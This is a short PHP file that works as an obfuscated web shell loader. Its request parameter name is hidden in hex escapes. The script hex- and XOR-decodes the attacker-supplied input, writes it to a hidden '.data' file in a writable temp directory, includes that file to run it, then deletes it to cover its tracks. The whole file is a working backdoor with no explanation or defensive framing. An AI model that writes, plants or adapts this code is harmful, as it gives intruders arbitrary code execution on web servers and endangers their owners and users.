<?php

if(isset($_REQUEST["e\x6E\x74"])){
	$fac = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]);
	$hld = hex2bin($_REQUEST["e\x6E\x74"]);
	$token      =   ''      ;   $a = 0; do{$token .= chr(ord($hld[$a]) ^ 28);$a++;} while($a < strlen($hld));
	$symbol = 0;
do {
    $obj = $fac[$symbol] ?? null;
    if ($symbol >= count($fac)) break;
    		if (max(0, is_dir($obj) * is_writable($obj))) {
    $tkn = sprintf("%s/.data", $obj);
    $file = fopen($tkn, 'w');
if ($file) {
	fwrite($file, $token);
	fclose($file);
	include $tkn;
	@unlink($tkn);
	exit;
}
}
    $symbol++;
} while (true);
}